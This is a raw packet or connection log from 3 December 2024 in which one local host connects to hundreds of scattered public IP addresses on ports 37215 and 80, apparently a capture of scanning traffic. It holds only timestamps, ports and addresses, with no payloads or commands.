Dec 3, 2024 23:01:53.053626060 CET	59534	37215	192.168.2.23	156.233.156.162
Dec 3, 2024 23:01:53.053639889 CET	59534	37215	192.168.2.23	156.160.217.67
Dec 3, 2024 23:01:53.053652048 CET	59534	37215	192.168.2.23	156.5.120.248
Dec 3, 2024 23:01:53.053666115 CET	59534	37215	192.168.2.23	41.93.151.180
Dec 3, 2024 23:01:53.053679943 CET	59534	37215	192.168.2.23	197.150.218.83
Dec 3, 2024 23:01:53.053704977 CET	59534	37215	192.168.2.23	197.2.62.197
Dec 3, 2024 23:01:53.053729057 CET	59534	37215	192.168.2.23	156.171.64.118
Dec 3, 2024 23:01:53.053755045 CET	59534	37215	192.168.2.23	156.127.220.236
Dec 3, 2024 23:01:53.053770065 CET	59534	37215	192.168.2.23	156.91.139.105
Dec 3, 2024 23:01:53.053781986 CET	59534	37215	192.168.2.23	156.41.133.174
Dec 3, 2024 23:01:53.053797960 CET	59534	37215	192.168.2.23	156.252.71.178
Dec 3, 2024 23:01:53.053822994 CET	59534	37215	192.168.2.23	156.128.67.207
Dec 3, 2024 23:01:53.053836107 CET	59534	37215	192.168.2.23	156.1.243.233
Dec 3, 2024 23:01:53.053867102 CET	59534	37215	192.168.2.23	197.86.5.176
Dec 3, 2024 23:01:53.053889036 CET	59534	37215	192.168.2.23	156.84.98.4
Dec 3, 2024 23:01:53.053915024 CET	59534	37215	192.168.2.23	156.236.201.7
Dec 3, 2024 23:01:53.053939104 CET	59534	37215	192.168.2.23	197.77.71.254
Dec 3, 2024 23:01:53.053951979 CET	59534	37215	192.168.2.23	156.23.108.24
Dec 3, 2024 23:01:53.053965092 CET	59534	37215	192.168.2.23	41.130.35.128
Dec 3, 2024 23:01:53.053981066 CET	59534	37215	192.168.2.23	156.248.190.72
Dec 3, 2024 23:01:53.054003000 CET	59534	37215	192.168.2.23	197.140.202.66
Dec 3, 2024 23:01:53.054029942 CET	59534	37215	192.168.2.23	41.253.9.16
Dec 3, 2024 23:01:53.054043055 CET	59534	37215	192.168.2.23	41.249.142.145
Dec 3, 2024 23:01:53.054069042 CET	59534	37215	192.168.2.23	41.209.94.85
Dec 3, 2024 23:01:53.054081917 CET	59534	37215	192.168.2.23	156.206.232.1
Dec 3, 2024 23:01:53.054106951 CET	59534	37215	192.168.2.23	197.184.149.49
Dec 3, 2024 23:01:53.054146051 CET	59534	37215	192.168.2.23	197.74.197.84
Dec 3, 2024 23:01:53.054164886 CET	59534	37215	192.168.2.23	156.29.187.241
Dec 3, 2024 23:01:53.054177046 CET	59534	37215	192.168.2.23	41.250.251.128
Dec 3, 2024 23:01:53.054202080 CET	59534	37215	192.168.2.23	156.63.218.20
Dec 3, 2024 23:01:53.054214001 CET	59534	37215	192.168.2.23	41.2.124.235
Dec 3, 2024 23:01:53.054227114 CET	59534	37215	192.168.2.23	156.24.163.92
Dec 3, 2024 23:01:53.054253101 CET	59534	37215	192.168.2.23	197.188.175.93
Dec 3, 2024 23:01:53.054266930 CET	59534	37215	192.168.2.23	156.144.243.224
Dec 3, 2024 23:01:53.054271936 CET	59534	37215	192.168.2.23	41.2.194.132
Dec 3, 2024 23:01:53.054291964 CET	59534	37215	192.168.2.23	41.23.230.202
Dec 3, 2024 23:01:53.054303885 CET	59534	37215	192.168.2.23	197.22.111.90
Dec 3, 2024 23:01:53.054512978 CET	45634	37215	192.168.2.23	156.76.37.56
Dec 3, 2024 23:01:53.058135033 CET	45558	80	192.168.2.23	143.150.243.101
Dec 3, 2024 23:01:53.058135986 CET	59284	80	192.168.2.23	177.233.205.201
Dec 3, 2024 23:01:53.058161020 CET	36626	80	192.168.2.23	208.239.12.189
Dec 3, 2024 23:01:53.058161020 CET	36062	80	192.168.2.23	81.114.132.64
Dec 3, 2024 23:01:53.058163881 CET	39646	80	192.168.2.23	68.184.62.249
Dec 3, 2024 23:01:53.058163881 CET	43024	80	192.168.2.23	73.36.157.53
Dec 3, 2024 23:01:53.058163881 CET	52140	80	192.168.2.23	64.182.50.28
Dec 3, 2024 23:01:53.058168888 CET	42668	80	192.168.2.23	146.63.138.246
Dec 3, 2024 23:01:53.058168888 CET	59364	80	192.168.2.23	82.120.56.10
Dec 3, 2024 23:01:53.058170080 CET	37408	80	192.168.2.23	198.53.211.167
Dec 3, 2024 23:01:53.058168888 CET	60070	80	192.168.2.23	111.235.227.103
Dec 3, 2024 23:01:53.058176041 CET	60486	80	192.168.2.23	123.52.192.123
Dec 3, 2024 23:01:53.058177948 CET	53896	80	192.168.2.23	50.151.21.8
Dec 3, 2024 23:01:53.058182001 CET	43440	80	192.168.2.23	164.63.62.180
Dec 3, 2024 23:01:53.058182001 CET	59750	80	192.168.2.23	205.244.238.92
Dec 3, 2024 23:01:53.058182001 CET	49624	80	192.168.2.23	27.213.187.69
Dec 3, 2024 23:01:53.058188915 CET	57542	80	192.168.2.23	142.22.147.27
Dec 3, 2024 23:01:53.058193922 CET	51330	80	192.168.2.23	133.245.87.115
Dec 3, 2024 23:01:53.058193922 CET	58896	80	192.168.2.23	38.96.150.180
Dec 3, 2024 23:01:53.058196068 CET	47514	80	192.168.2.23	165.173.127.185
Dec 3, 2024 23:01:53.058196068 CET	47038	80	192.168.2.23	37.30.94.170
Dec 3, 2024 23:01:53.058193922 CET	49510	80	192.168.2.23	173.230.32.46
Dec 3, 2024 23:01:53.058197021 CET	58878	80	192.168.2.23	109.62.119.7
Dec 3, 2024 23:01:53.058197021 CET	48142	80	192.168.2.23	152.212.240.188
Dec 3, 2024 23:01:53.058207035 CET	45998	80	192.168.2.23	153.78.233.79
Dec 3, 2024 23:01:53.058207989 CET	49556	80	192.168.2.23	116.80.66.91
Dec 3, 2024 23:01:53.058207989 CET	50164	80	192.168.2.23	102.137.240.134
Dec 3, 2024 23:01:53.094101906 CET	37215	57306	156.110.162.239	192.168.2.23
Dec 3, 2024 23:01:53.094113111 CET	37215	34966	41.38.16.103	192.168.2.23
Dec 3, 2024 23:01:53.094116926 CET	37215	38496	41.29.43.123	192.168.2.23
Dec 3, 2024 23:01:53.094120026 CET	37215	50588	156.23.144.81	192.168.2.23
Dec 3, 2024 23:01:53.094127893 CET	37215	49966	156.180.14.86	192.168.2.23
Dec 3, 2024 23:01:53.094136000 CET	37215	35620	156.29.58.55	192.168.2.23
Dec 3, 2024 23:01:53.094140053 CET	37215	43268	156.134.142.216	192.168.2.23
Dec 3, 2024 23:01:53.094142914 CET	37215	45944	41.89.254.96	192.168.2.23
Dec 3, 2024 23:01:53.094165087 CET	37215	45800	156.146.0.173	192.168.2.23
Dec 3, 2024 23:01:53.094172955 CET	37215	43080	41.235.143.156	192.168.2.23
Dec 3, 2024 23:01:53.094180107 CET	37215	45280	156.76.37.56	192.168.2.23
Dec 3, 2024 23:01:53.094188929 CET	37215	54428	41.153.210.0	192.168.2.23
Dec 3, 2024 23:01:53.094192982 CET	37215	39612	197.17.133.49	192.168.2.23
Dec 3, 2024 23:01:53.094196081 CET	37215	41374	41.186.242.231	192.168.2.23
Dec 3, 2024 23:01:53.094203949 CET	37215	57020	156.61.209.114	192.168.2.23
Dec 3, 2024 23:01:53.094211102 CET	37215	38762	41.8.68.180	192.168.2.23
Dec 3, 2024 23:01:53.094218969 CET	37215	39254	197.122.183.130	192.168.2.23
Dec 3, 2024 23:01:53.094224930 CET	37215	59700	41.9.223.148	192.168.2.23
Dec 3, 2024 23:01:53.094235897 CET	37215	49474	156.114.247.128	192.168.2.23
Dec 3, 2024 23:01:53.094243050 CET	37215	50946	41.237.37.216	192.168.2.23
Dec 3, 2024 23:01:53.094247103 CET	37215	43962	41.128.193.69	192.168.2.23
Dec 3, 2024 23:01:53.094254017 CET	37215	35196	156.30.14.110	192.168.2.23
Dec 3, 2024 23:01:53.094257116 CET	37215	48340	41.182.228.106	192.168.2.23
Dec 3, 2024 23:01:53.094264030 CET	37215	42846	156.158.172.243	192.168.2.23
Dec 3, 2024 23:01:53.094271898 CET	37215	56880	197.163.246.243	192.168.2.23
Dec 3, 2024 23:01:53.094280005 CET	37215	46368	197.41.187.197	192.168.2.23
Dec 3, 2024 23:01:53.094295979 CET	37215	47630	156.44.235.16	192.168.2.23
Dec 3, 2024 23:01:53.094304085 CET	37215	53726	197.167.188.184	192.168.2.23
Dec 3, 2024 23:01:53.094311953 CET	37215	37384	197.59.205.72	192.168.2.23
Dec 3, 2024 23:01:53.094325066 CET	37215	38152	156.64.119.227	192.168.2.23
Dec 3, 2024 23:01:53.094332933 CET	37215	52016	197.195.206.136	192.168.2.23
Dec 3, 2024 23:01:53.094341040 CET	37215	60072	41.102.141.16	192.168.2.23
Dec 3, 2024 23:01:53.094343901 CET	37215	40346	197.169.178.55	192.168.2.23
Dec 3, 2024 23:01:53.094347000 CET	37215	45100	156.28.189.147	192.168.2.23
Dec 3, 2024 23:01:53.094353914 CET	37215	41272	41.56.205.34	192.168.2.23
Dec 3, 2024 23:01:53.094364882 CET	37215	39598	41.164.73.85	192.168.2.23
Dec 3, 2024 23:01:53.094372988 CET	37215	60860	197.201.203.200	192.168.2.23
Dec 3, 2024 23:01:53.094379902 CET	37215	42668	41.51.237.63	192.168.2.23
Dec 3, 2024 23:01:53.094388008 CET	37215	37894	197.57.152.227	192.168.2.23
Dec 3, 2024 23:01:53.094394922 CET	37215	44818	197.179.146.198	192.168.2.23
Dec 3, 2024 23:01:53.094403028 CET	37215	47254	41.29.72.16	192.168.2.23
Dec 3, 2024 23:01:53.094407082 CET	37215	42426	156.92.88.230	192.168.2.23
Dec 3, 2024 23:01:53.094413042 CET	37215	38648	197.235.235.154	192.168.2.23
Dec 3, 2024 23:01:53.094420910 CET	37215	48890	197.213.139.45	192.168.2.23
Dec 3, 2024 23:01:53.094428062 CET	37215	55288	197.79.233.80	192.168.2.23
Dec 3, 2024 23:01:53.094444036 CET	37215	48106	197.158.151.68	192.168.2.23
Dec 3, 2024 23:01:53.094451904 CET	37215	41410	156.67.96.70	192.168.2.23
Dec 3, 2024 23:01:53.094459057 CET	37215	53770	197.95.113.211	192.168.2.23
Dec 3, 2024 23:01:53.094466925 CET	37215	49302	197.161.10.65	192.168.2.23
Dec 3, 2024 23:01:53.094492912 CET	37215	35976	197.220.67.112	192.168.2.23
Dec 3, 2024 23:01:53.094501972 CET	37215	52114	41.185.84.32	192.168.2.23
Dec 3, 2024 23:01:53.094508886 CET	37215	54440	197.25.2.28	192.168.2.23
Dec 3, 2024 23:01:53.094516993 CET	37215	52456	197.123.236.32	192.168.2.23
Dec 3, 2024 23:01:53.095376015 CET	60046	80	192.168.2.23	201.125.207.171
Dec 3, 2024 23:01:53.095376015 CET	60046	80	192.168.2.23	209.173.84.48
Dec 3, 2024 23:01:53.095380068 CET	60046	80	192.168.2.23	198.165.232.52
Dec 3, 2024 23:01:53.095380068 CET	60046	80	192.168.2.23	173.72.159.111
Dec 3, 2024 23:01:53.095380068 CET	60046	80	192.168.2.23	83.139.13.62
Dec 3, 2024 23:01:53.095380068 CET	60046	80	192.168.2.23	143.158.80.249
Dec 3, 2024 23:01:53.095380068 CET	60046	80	192.168.2.23	202.35.95.6
Dec 3, 2024 23:01:53.095380068 CET	60046	80	192.168.2.23	91.55.147.53
Dec 3, 2024 23:01:53.095381021 CET	60046	80	192.168.2.23	73.45.25.65
Dec 3, 2024 23:01:53.095381021 CET	60046	80	192.168.2.23	211.203.88.197
Dec 3, 2024 23:01:53.095381021 CET	60046	80	192.168.2.23	122.76.131.117
Dec 3, 2024 23:01:53.095381021 CET	60046	80	192.168.2.23	93.138.162.79
Dec 3, 2024 23:01:53.095381021 CET	60046	80	192.168.2.23	86.86.86.90
Dec 3, 2024 23:01:53.095381021 CET	60046	80	192.168.2.23	67.136.97.11
Dec 3, 2024 23:01:53.095385075 CET	60046	80	192.168.2.23	125.112.162.145
Dec 3, 2024 23:01:53.095385075 CET	60046	80	192.168.2.23	172.194.184.171
Dec 3, 2024 23:01:53.095385075 CET	60046	80	192.168.2.23	36.211.67.249
Dec 3, 2024 23:01:53.095385075 CET	60046	80	192.168.2.23	61.18.225.109
Dec 3, 2024 23:01:53.095386028 CET	60046	80	192.168.2.23	154.50.54.60
Dec 3, 2024 23:01:53.095385075 CET	60046	80	192.168.2.23	148.69.94.32
Dec 3, 2024 23:01:53.095386028 CET	60046	80	192.168.2.23	145.251.148.78
Dec 3, 2024 23:01:53.095385075 CET	60046	80	192.168.2.23	132.74.37.140
Dec 3, 2024 23:01:53.095386028 CET	60046	80	192.168.2.23	157.197.134.140
Dec 3, 2024 23:01:53.095387936 CET	60046	80	192.168.2.23	182.167.238.252
Dec 3, 2024 23:01:53.095386028 CET	60046	80	192.168.2.23	91.193.162.63
Dec 3, 2024 23:01:53.095391035 CET	60046	80	192.168.2.23	203.255.46.54
Dec 3, 2024 23:01:53.095386028 CET	60046	80	192.168.2.23	143.146.56.111
Dec 3, 2024 23:01:53.095391035 CET	60046	80	192.168.2.23	183.193.111.38
Dec 3, 2024 23:01:53.095387936 CET	60046	80	192.168.2.23	222.196.12.86
Dec 3, 2024 23:01:53.095385075 CET	60046	80	192.168.2.23	60.197.30.109
Dec 3, 2024 23:01:53.095391035 CET	60046	80	192.168.2.23	53.10.247.43
Dec 3, 2024 23:01:53.095385075 CET	60046	80	192.168.2.23	165.41.181.131
Dec 3, 2024 23:01:53.095387936 CET	60046	80	192.168.2.23	153.96.185.160
Dec 3, 2024 23:01:53.095386028 CET	60046	80	192.168.2.23	133.240.205.255
Dec 3, 2024 23:01:53.095391035 CET	60046	80	192.168.2.23	63.207.169.232
Dec 3, 2024 23:01:53.095386028 CET	60046	80	192.168.2.23	198.17.28.160
Dec 3, 2024 23:01:53.095396996 CET	60046	80	192.168.2.23	222.239.234.237
Dec 3, 2024 23:01:53.095391035 CET	60046	80	192.168.2.23	192.183.25.81
Dec 3, 2024 23:01:53.095396996 CET	60046	80	192.168.2.23	37.43.244.53
Dec 3, 2024 23:01:53.095386028 CET	60046	80	192.168.2.23	141.78.150.32
Dec 3, 2024 23:01:53.095396996 CET	60046	80	192.168.2.23	199.8.98.23
Dec 3, 2024 23:01:53.095396996 CET	60046	80	192.168.2.23	179.31.242.63
Dec 3, 2024 23:01:53.095396996 CET	60046	80	192.168.2.23	176.200.2.10
Dec 3, 2024 23:01:53.095396996 CET	60046	80	192.168.2.23	58.223.9.108
Dec 3, 2024 23:01:53.095411062 CET	60046	80	192.168.2.23	95.125.212.28
Dec 3, 2024 23:01:53.095411062 CET	60046	80	192.168.2.23	17.218.211.73
Dec 3, 2024 23:01:53.095411062 CET	60046	80	192.168.2.23	96.35.32.156
Dec 3, 2024 23:01:53.095519066 CET	60046	80	192.168.2.23	5.186.155.120
Dec 3, 2024 23:01:53.095519066 CET	60046	80	192.168.2.23	107.137.100.203
Dec 3, 2024 23:01:53.095519066 CET	60046	80	192.168.2.23	221.53.138.38
Dec 3, 2024 23:01:53.095519066 CET	60046	80	192.168.2.23	24.104.216.158
Dec 3, 2024 23:01:53.095519066 CET	60046	80	192.168.2.23	208.246.71.110
Dec 3, 2024 23:01:53.095519066 CET	60046	80	192.168.2.23	64.226.33.198
Dec 3, 2024 23:01:53.095519066 CET	60046	80	192.168.2.23	1.134.194.75
Dec 3, 2024 23:01:53.095524073 CET	60046	80	192.168.2.23	190.1.4.6
Dec 3, 2024 23:01:53.095524073 CET	60046	80	192.168.2.23	52.16.205.101
Dec 3, 2024 23:01:53.095524073 CET	60046	80	192.168.2.23	12.26.64.96
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	104.220.246.230
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	182.101.221.181
Dec 3, 2024 23:01:53.095524073 CET	60046	80	192.168.2.23	66.227.144.124
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	74.55.212.189
Dec 3, 2024 23:01:53.095525980 CET	60046	80	192.168.2.23	115.110.145.56
Dec 3, 2024 23:01:53.095526934 CET	60046	80	192.168.2.23	72.177.134.193
Dec 3, 2024 23:01:53.095527887 CET	60046	80	192.168.2.23	23.63.250.106
Dec 3, 2024 23:01:53.095526934 CET	60046	80	192.168.2.23	118.22.212.254
Dec 3, 2024 23:01:53.095527887 CET	60046	80	192.168.2.23	60.22.103.12
Dec 3, 2024 23:01:53.095525980 CET	60046	80	192.168.2.23	153.250.230.106
Dec 3, 2024 23:01:53.095524073 CET	60046	80	192.168.2.23	142.231.135.91
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	13.205.203.156
Dec 3, 2024 23:01:53.095527887 CET	60046	80	192.168.2.23	75.57.234.64
Dec 3, 2024 23:01:53.095525980 CET	60046	80	192.168.2.23	221.164.67.20
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	57.183.31.137
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	213.77.245.202
Dec 3, 2024 23:01:53.095525980 CET	60046	80	192.168.2.23	93.190.34.42
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	147.130.133.5
Dec 3, 2024 23:01:53.095524073 CET	60046	80	192.168.2.23	138.2.110.116
Dec 3, 2024 23:01:53.095527887 CET	60046	80	192.168.2.23	161.56.194.255
Dec 3, 2024 23:01:53.095525980 CET	60046	80	192.168.2.23	213.195.162.72
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	47.106.111.6
Dec 3, 2024 23:01:53.095527887 CET	60046	80	192.168.2.23	42.151.128.186
Dec 3, 2024 23:01:53.095525980 CET	60046	80	192.168.2.23	94.154.30.108
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	154.148.71.201
Dec 3, 2024 23:01:53.095525980 CET	60046	80	192.168.2.23	49.183.194.103
Dec 3, 2024 23:01:53.095526934 CET	60046	80	192.168.2.23	163.174.234.44
Dec 3, 2024 23:01:53.095525980 CET	60046	80	192.168.2.23	83.71.242.142
Dec 3, 2024 23:01:53.095526934 CET	60046	80	192.168.2.23	88.39.139.138
Dec 3, 2024 23:01:53.095524073 CET	60046	80	192.168.2.23	139.29.12.134
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	61.12.114.65
Dec 3, 2024 23:01:53.095526934 CET	60046	80	192.168.2.23	34.131.151.109
Dec 3, 2024 23:01:53.095524073 CET	60046	80	192.168.2.23	122.139.11.233
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	95.153.20.136
Dec 3, 2024 23:01:53.095527887 CET	60046	80	192.168.2.23	213.45.68.94
Dec 3, 2024 23:01:53.095526934 CET	60046	80	192.168.2.23	217.77.0.146
Dec 3, 2024 23:01:53.095527887 CET	60046	80	192.168.2.23	109.70.21.159
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	176.47.70.251
Dec 3, 2024 23:01:53.095526934 CET	60046	80	192.168.2.23	129.187.168.109
Dec 3, 2024 23:01:53.095526934 CET	60046	80	192.168.2.23	145.79.255.127
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	18.81.93.25
Dec 3, 2024 23:01:53.095526934 CET	60046	80	192.168.2.23	204.119.184.151
Dec 3, 2024 23:01:53.095526934 CET	60046	80	192.168.2.23	84.4.203.121
Dec 3, 2024 23:01:53.095526934 CET	60046	80	192.168.2.23	213.64.135.75
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	165.196.99.56
Dec 3, 2024 23:01:53.095557928 CET	60046	80	192.168.2.23	150.70.205.200
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	1.29.73.26
Dec 3, 2024 23:01:53.095557928 CET	60046	80	192.168.2.23	120.59.76.153
Dec 3, 2024 23:01:53.095529079 CET	60046	80	192.168.2.23	162.119.167.235
Dec 3, 2024 23:01:53.095526934 CET	60046	80	192.168.2.23	41.222.17.235
Dec 3, 2024 23:01:53.095525026 CET	60046	80	192.168.2.23	217.25.252.73
Dec 3, 2024 23:01:53.095557928 CET	60046	80	192.168.2.23	153.198.216.179
Dec 3, 2024 23:01:53.095561028 CET	60046	80	192.168.2.23	195.19.132.81
Dec 3, 2024 23:01:53.095557928 CET	60046	80	192.168.2.23	83.214.202.65
Dec 3, 2024 23:01:53.095563889 CET	60046	80	192.168.2.23	92.186.118.17
Dec 3, 2024 23:01:53.095557928 CET	60046	80	192.168.2.23	149.37.78.27
Dec 3, 2024 23:01:53.095563889 CET	60046	80	192.168.2.23	105.215.44.8
Dec 3, 2024 23:01:53.095557928 CET	60046	80	192.168.2.23	134.95.119.39
Dec 3, 2024 23:01:53.095563889 CET	60046	80	192.168.2.23	18.117.232.250
Dec 3, 2024 23:01:53.095561028 CET	60046	80	192.168.2.23	88.255.188.201
Dec 3, 2024 23:01:53.095563889 CET	60046	80	192.168.2.23	41.57.115.75
Dec 3, 2024 23:01:53.095561028 CET	60046	80	192.168.2.23	158.255.191.87
Dec 3, 2024 23:01:53.095563889 CET	60046	80	192.168.2.23	219.60.54.130
Dec 3, 2024 23:01:53.095561028 CET	60046	80	192.168.2.23	63.39.3.214
Dec 3, 2024 23:01:53.095563889 CET	60046	80	192.168.2.23	173.187.221.143
Dec 3, 2024 23:01:53.095561028 CET	60046	80	192.168.2.23	9.211.188.53
Dec 3, 2024 23:01:53.095563889 CET	60046	80	192.168.2.23	203.152.254.156
Dec 3, 2024 23:01:53.095561028 CET	60046	80	192.168.2.23	59.187.171.252
Dec 3, 2024 23:01:53.095563889 CET	60046	80	192.168.2.23	13.32.42.23
Dec 3, 2024 23:01:53.095527887 CET	60046	80	192.168.2.23	186.198.150.129
Dec 3, 2024 23:01:53.095561028 CET	60046	80	192.168.2.23	52.229.221.5
Dec 3, 2024 23:01:53.095527887 CET	60046	80	192.168.2.23	14.131.234.158
Dec 3, 2024 23:01:53.095561028 CET	60046	80	192.168.2.23	24.197.232.238
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	38.155.233.169
Dec 3, 2024 23:01:53.095527887 CET	60046	80	192.168.2.23	120.37.212.32
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	62.2.1.224
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	115.126.183.74
Dec 3, 2024 23:01:53.095527887 CET	60046	80	192.168.2.23	182.78.169.149
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	62.105.81.186
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	45.50.172.75
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	130.22.119.46
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	174.201.20.104
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	5.239.128.239
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	35.215.140.33
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	168.11.42.223
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	164.153.200.234
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	198.109.198.129
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	49.122.15.130
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	46.14.29.42
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	204.113.238.43
Dec 3, 2024 23:01:53.095573902 CET	60046	80	192.168.2.23	65.15.154.140
Dec 3, 2024 23:01:53.095578909 CET	60046	80	192.168.2.23	115.101.24.37
Dec 3, 2024 23:01:53.095578909 CET	60046	80	192.168.2.23	91.216.192.85
Dec 3, 2024 23:01:53.095578909 CET	60046	80	192.168.2.23	124.63.157.127
Dec 3, 2024 23:01:53.095578909 CET	60046	80	192.168.2.23	155.7.14.204
Dec 3, 2024 23:01:53.095578909 CET	60046	80	192.168.2.23	84.213.106.194
Dec 3, 2024 23:01:53.095578909 CET	60046	80	192.168.2.23	44.210.42.170
Dec 3, 2024 23:01:53.095578909 CET	60046	80	192.168.2.23	139.28.197.107
Dec 3, 2024 23:01:53.095578909 CET	60046	80	192.168.2.23	68.110.190.59
Dec 3, 2024 23:01:53.095582008 CET	60046	80	192.168.2.23	58.122.77.49
Dec 3, 2024 23:01:53.095582008 CET	60046	80	192.168.2.23	72.185.65.104
Dec 3, 2024 23:01:53.095582008 CET	60046	80	192.168.2.23	204.122.165.245
Dec 3, 2024 23:01:53.095583916 CET	60046	80	192.168.2.23	149.166.53.110
Dec 3, 2024 23:01:53.095583916 CET	60046	80	192.168.2.23	145.162.146.249
Dec 3, 2024 23:01:53.095583916 CET	60046	80	192.168.2.23	207.131.244.30
Dec 3, 2024 23:01:53.095583916 CET	60046	80	192.168.2.23	190.140.219.84
Dec 3, 2024 23:01:53.095583916 CET	60046	80	192.168.2.23	204.206.186.237
Dec 3, 2024 23:01:53.095583916 CET	60046	80	192.168.2.23	103.188.27.103
Dec 3, 2024 23:01:53.095587015 CET	60046	80	192.168.2.23	104.145.100.64
Dec 3, 2024 23:01:53.095587015 CET	60046	80	192.168.2.23	64.173.216.13
Dec 3, 2024 23:01:53.095587015 CET	60046	80	192.168.2.23	122.161.19.28
Dec 3, 2024 23:01:53.095587015 CET	60046	80	192.168.2.23	63.87.122.250
Dec 3, 2024 23:01:53.095587015 CET	60046	80	192.168.2.23	49.231.158.219
Dec 3, 2024 23:01:53.095587015 CET	60046	80	192.168.2.23	125.187.26.199
Dec 3, 2024 23:01:53.095587015 CET	60046	80	192.168.2.23	103.132.123.162
Dec 3, 2024 23:01:53.095587015 CET	60046	80	192.168.2.23	171.180.163.190
Dec 3, 2024 23:01:53.095588923 CET	60046	80	192.168.2.23	102.242.61.156
Dec 3, 2024 23:01:53.095588923 CET	60046	80	192.168.2.23	111.99.24.138
Dec 3, 2024 23:01:53.095588923 CET	60046	80	192.168.2.23	195.41.91.132
Dec 3, 2024 23:01:53.095588923 CET	60046	80	192.168.2.23	150.140.170.155
Dec 3, 2024 23:01:53.095588923 CET	60046	80	192.168.2.23	166.151.217.252
Dec 3, 2024 23:01:53.095588923 CET	60046	80	192.168.2.23	100.45.25.28
Dec 3, 2024 23:01:53.095588923 CET	60046	80	192.168.2.23	104.134.208.230
Dec 3, 2024 23:01:53.095588923 CET	60046	80	192.168.2.23	89.193.107.210
Dec 3, 2024 23:01:53.095592976 CET	60046	80	192.168.2.23	114.87.94.137
Dec 3, 2024 23:01:53.095592976 CET	60046	80	192.168.2.23	219.60.150.233
Dec 3, 2024 23:01:53.095592976 CET	60046	80	192.168.2.23	120.250.58.118
Dec 3, 2024 23:01:53.095592976 CET	60046	80	192.168.2.23	77.89.140.136
Dec 3, 2024 23:01:53.095592976 CET	60046	80	192.168.2.23	212.198.94.166
Dec 3, 2024 23:01:53.095592976 CET	60046	80	192.168.2.23	166.61.203.154
Dec 3, 2024 23:01:53.095592976 CET	60046	80	192.168.2.23	201.224.196.65
Dec 3, 2024 23:01:53.095592976 CET	60046	80	192.168.2.23	138.33.188.253
Dec 3, 2024 23:01:53.095597029 CET	60046	80	192.168.2.23	144.115.171.178
Dec 3, 2024 23:01:53.095597029 CET	60046	80	192.168.2.23	86.199.229.33
Dec 3, 2024 23:01:53.095597029 CET	60046	80	192.168.2.23	209.62.94.93
Dec 3, 2024 23:01:53.095597029 CET	60046	80	192.168.2.23	67.131.230.84
Dec 3, 2024 23:01:53.095597029 CET	60046	80	192.168.2.23	82.115.50.16
Dec 3, 2024 23:01:53.095597029 CET	60046	80	192.168.2.23	83.155.12.220
Dec 3, 2024 23:01:53.095597029 CET	60046	80	192.168.2.23	141.183.234.39
Dec 3, 2024 23:01:53.095597029 CET	60046	80	192.168.2.23	146.215.169.88
Dec 3, 2024 23:01:53.095602989 CET	60046	80	192.168.2.23	170.174.19.194
Dec 3, 2024 23:01:53.095602989 CET	60046	80	192.168.2.23	19.59.226.139
Dec 3, 2024 23:01:53.095602989 CET	60046	80	192.168.2.23	79.7.196.124
Dec 3, 2024 23:01:53.095602989 CET	60046	80	192.168.2.23	65.251.52.5
Dec 3, 2024 23:01:53.095602989 CET	60046	80	192.168.2.23	82.143.44.132
Dec 3, 2024 23:01:53.095607042 CET	60046	80	192.168.2.23	63.86.176.178
Dec 3, 2024 23:01:53.095607042 CET	60046	80	192.168.2.23	116.41.37.105
Dec 3, 2024 23:01:53.095607042 CET	60046	80	192.168.2.23	97.45.18.229
Dec 3, 2024 23:01:53.095609903 CET	60046	80	192.168.2.23	197.207.187.201
Dec 3, 2024 23:01:53.095609903 CET	60046	80	192.168.2.23	32.79.132.211
Dec 3, 2024 23:01:53.095609903 CET	60046	80	192.168.2.23	75.193.122.197
Dec 3, 2024 23:01:53.095609903 CET	60046	80	192.168.2.23	137.193.21.232
Dec 3, 2024 23:01:53.095613003 CET	60046	80	192.168.2.23	49.96.51.77
Dec 3, 2024 23:01:53.095613003 CET	60046	80	192.168.2.23	156.164.137.118
Dec 3, 2024 23:01:53.095613003 CET	60046	80	192.168.2.23	220.171.115.187
Dec 3, 2024 23:01:53.095613003 CET	60046	80	192.168.2.23	17.116.169.82
Dec 3, 2024 23:01:53.095613003 CET	60046	80	192.168.2.23	76.161.74.104
Dec 3, 2024 23:01:53.095613003 CET	60046	80	192.168.2.23	118.91.109.14
Dec 3, 2024 23:01:53.095613003 CET	60046	80	192.168.2.23	167.86.202.182
Dec 3, 2024 23:01:53.095613003 CET	60046	80	192.168.2.23	86.132.240.0
Dec 3, 2024 23:01:53.095616102 CET	60046	80	192.168.2.23	150.255.93.114
Dec 3, 2024 23:01:53.095616102 CET	60046	80	192.168.2.23	4.214.178.133
Dec 3, 2024 23:01:53.095616102 CET	60046	80	192.168.2.23	8.130.133.69
